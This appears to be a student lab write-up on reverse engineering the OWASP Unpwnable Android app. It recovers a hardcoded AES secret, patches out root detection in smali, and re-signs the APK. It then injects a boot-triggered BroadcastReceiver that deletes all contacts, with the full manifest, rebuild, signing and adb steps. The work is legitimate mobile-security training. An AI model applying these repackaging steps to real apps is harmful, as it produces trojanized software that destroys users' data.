Mobile Lab

Task 1: Installing and Exploring the App

Goal:

Install the original `Unpwnable.apk` onto an Android emulator and understand its behavior.

Steps:

1. Created an Android emulator (AVD) using Android Studio.
2. Installed the app using `adb`:

```
adb install Unpwnable.apk
```

3. Launched the app and observed its behavior:
   - Prompts the user to enter a secret.
   - Responds with "Success!" or "Nope..." based on input.

Conclusion:

We confirmed the app runs normally on an unrooted device and requires a secret string to validate user input.

Task 2: Extracting the Secret via Static Analysis

Goal:

Reverse engineer the APK to find the correct input string.

Steps:

1. Decompiled the app using `apktool`:

```
apktool d Unpwnable.apk -o unpwnable_smali
```

2. Searched for the keyword `"secret"`:

```
findstr /s /i "secret" *.smali
```

3. Found logic in `MainActivity.smali` and `sg/vantagepoint/unpwnable1/a.smali`:

- The app verifies user input using encrypted and Base64-encoded data.
- The encryption key is:
  `8d127684cbc37c17616d806cf50473cc`
- The ciphertext is:
  `5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc=`
- Cipher mode: `AES/ECB/PKCS7Padding`

4. Used a Python script to decrypt:

```
from Crypto.Cipher import AES
import base64

key = bytes.fromhex("8d127684cbc37c17616d806cf50473cc")
ct = base64.b64decode("5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc=")
cipher = AES.new(key, AES.MODE_ECB)
print(cipher.decrypt(ct).decode())
```

5. Output:

```
I want to believe
```

Conclusion:

We extracted the hardcoded key and ciphertext from the smali code, reversed the cryptographic logic, and recovered the correct secret string without executing the app.

Task 3: Root Detection Bypass via Repackaging

Goal:

Make the app work on rooted devices by bypassing its root detection mechanisms.

Steps:

1. **Set up a rooted emulator:**
   - Used Android Studio to create a virtual device with **API 24** and **Google APIs**.
   - Confirmed root access:

```
adb shell
su
```

```
whoami  # → root
```

2. **Decompiled the APK** again:

```
apktool d Unpwnable.apk -o unpwnable_smali
```

3. **Found root checks** in `MainActivity.smali`, using:

```
invoke-static {}, Lsg/vantagepoint/a/c;→a()Z
invoke-static {}, Lsg/vantagepoint/a/c;→b()Z
invoke-static {}, Lsg/vantagepoint/a/c;→c()Z
```

4. **Bypassed detection**:
   - At the start of the `onCreate` method, added:

```
goto :cond_1
```

   - This skipped all root detection logic and displayed the UI directly.
5. **Rebuilt the APK**:

```
apktool b unpwnable_smali -o Unpwnable-Bypassed-unsigned.apk
```

6. **Signed the APK using our custom keystore**:

```
jarsigner -keystore my-release-key.keystore -storepass [yourpass] -keypass [yourpass] Unpwnable-Bypassed-unsigned.apk testkey
```

7. **Aligned and installed**:

```
adb install -r Unpwnable-Bypassed-unsigned.apk
```

Result:

The repackaged app installed successfully on the rooted emulator and ran without triggering the “Root detected!” message.

Task 4 Final Write-up: Malicious BroadcastReceiver Injection

Objective

Modify the previously patched Unpwnable APK (`unpwnable1_bypassed.apk`) so that on every Android Studio emulator reboot, the app automatically deletes all user contacts without any manual deletion.

Environment and Files

- **Windows 11 Host** running Android Studio emulator (rooted AVD).
- **APK Tool**: `C:\apktool\apktool_2.11.1.jar` and `apktool.bat` in `C:\apktool\` .
- **SDK Tools**: `adb.exe` in `C:\Users\Aser\AppData\Local\Android\Sdk\platform-tools\` .
- **Build-tools**: `zipalign.exe` , `apksigner.bat` in `...\Sdk\build-tools\33.0.0\` .
- **Input APK**: `C:\apktool\unpwnable1_bypassed.apk` (already bypassed root detection).
- **Receiver smali**: `C:\Users\Aser\AndroidStudioProjects\MaliciousReceiver\app\BootReceiver_src\smali_classes3\sg\vantagepoint\malicious\MaliciousCode.smali` .
- **Decompile output**: `C:\apktool\unpwnable1_bypassed_src\` .
- **Keystore**: `C:\apktool\my-release-key.keystore` (alias `testkey` , pw `mypassword123`).
- **Final APKs**:
  - `unpwnable1_bypassed_malicious.apk`
  - `unpwnable1_bypassed_final.apk` (aligned)
  - `unpwnable1_bypassed_signed.apk`

---

1. Decompile the Bypassed APK

```
cd C:\apktool
java -jar apktool_2.11.1.jar d -f unpwnable1_bypassed.apk -o unpwnable1_bypassed_src
```

---

2. Place the Malicious Smali

Ensure `MaliciousCode.smali` lives at:

```
C:\apktool\unpwnable1_bypassed_src\smali\sg\vantagepoint\malicious\MaliciousCode.smali
```

---

3. Fix Smali Class Header & Add Action Check

Open `MaliciousCode.smali` and ensure:

```
 .class public Lsg/vantagepoint/malicious/MaliciousCode;
-.super Ljava/lang/Object;
+.super Landroid/content/BroadcastReceiver;
 .source "MaliciousCode.java"
```

Immediately after `.locals 9` in `onReceive`, insert:

```
    # Only run on BOOT_COMPLETED
    invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    move-result-object v0
    const-string      v1, "android.intent.action.BOOT_COMPLETED"
    invoke-virtual   {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    move-result       v2
    if-eqz           v2, :return
```

Ensure a `:return` label exists before the final `return-void`.

---

4. Patch the Manifest

Edit `unpwnable1_bypassed_src\AndroidManifest.xml`:

1. **Above** `<application>`:

```
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
```

1. **Inside** `<application>`:

```
<receiver
    android:name="sg.vantagepoint.malicious.MaliciousCode"
    android:enabled="true"
    android:exported="true">
  <intent-filter>
    <action android:name="android.intent.action.BOOT_COMPLETED"/>
  </intent-filter>
</receiver>
```

---

5. Rebuild, Align & Sign

```
cd C:\apktool
# Rebuild
java -jar apktool_2.11.1.jar b unpwnable1_bypassed_src -o unpwnable1_bypassed_malicious.apk
# Align (overwrite)
& "C:\Users\Aser\AppData\Local\Android\Sdk\build-tools\33.0.0\zipalign.exe" -f -v 4 \
```

```
    unpwnable1_bypassed_malicious.apk unpwnable1_bypassed_final.apk
# Sign
& "C:\Users\Aser\AppData\Local\Android\Sdk\build-tools\33.0.0\apksigner.bat" sign \
    --ks "C:\apktool\my-release-key.keystore" --ks-key-alias testkey \
    --ks-pass pass:mypassword123 --key-pass pass:mypassword123 \
    --out unpwnable1_bypassed_signed.apk unpwnable1_bypassed_final.apk
```

---

6. Install & Grant Permissions

```
cd "C:\Users\Aser\AppData\Local\Android\Sdk\platform-tools"
# Uninstall previous
adb uninstall owasp.app.unpwnable1
# Install new
adb install -r C:\apktool\unpwnable1_bypassed_signed.apk
# Grant dangerous permissions
adb shell pm grant owasp.app.unpwnable1 android.permission.READ_CONTACTS
adb shell pm grant owasp.app.unpwnable1 android.permission.WRITE_CONTACTS
```

---

7. Launch & Reboot to Verify

1. **Open** the app from the emulator's launcher once, then exit (unstops the app).
2. **Reboot** the emulator via UI or:

   ```
   adb reboot
   ```

3. **Before** reboot, add a few dummy contacts.
4. **After** reboot finishes, open **Contacts**—they will be deleted automatically within a few seconds.

Result: The repackaged APK now bypasses root detection and automatically wipes all contacts on system boot, demonstrating successful malicious functionality injection.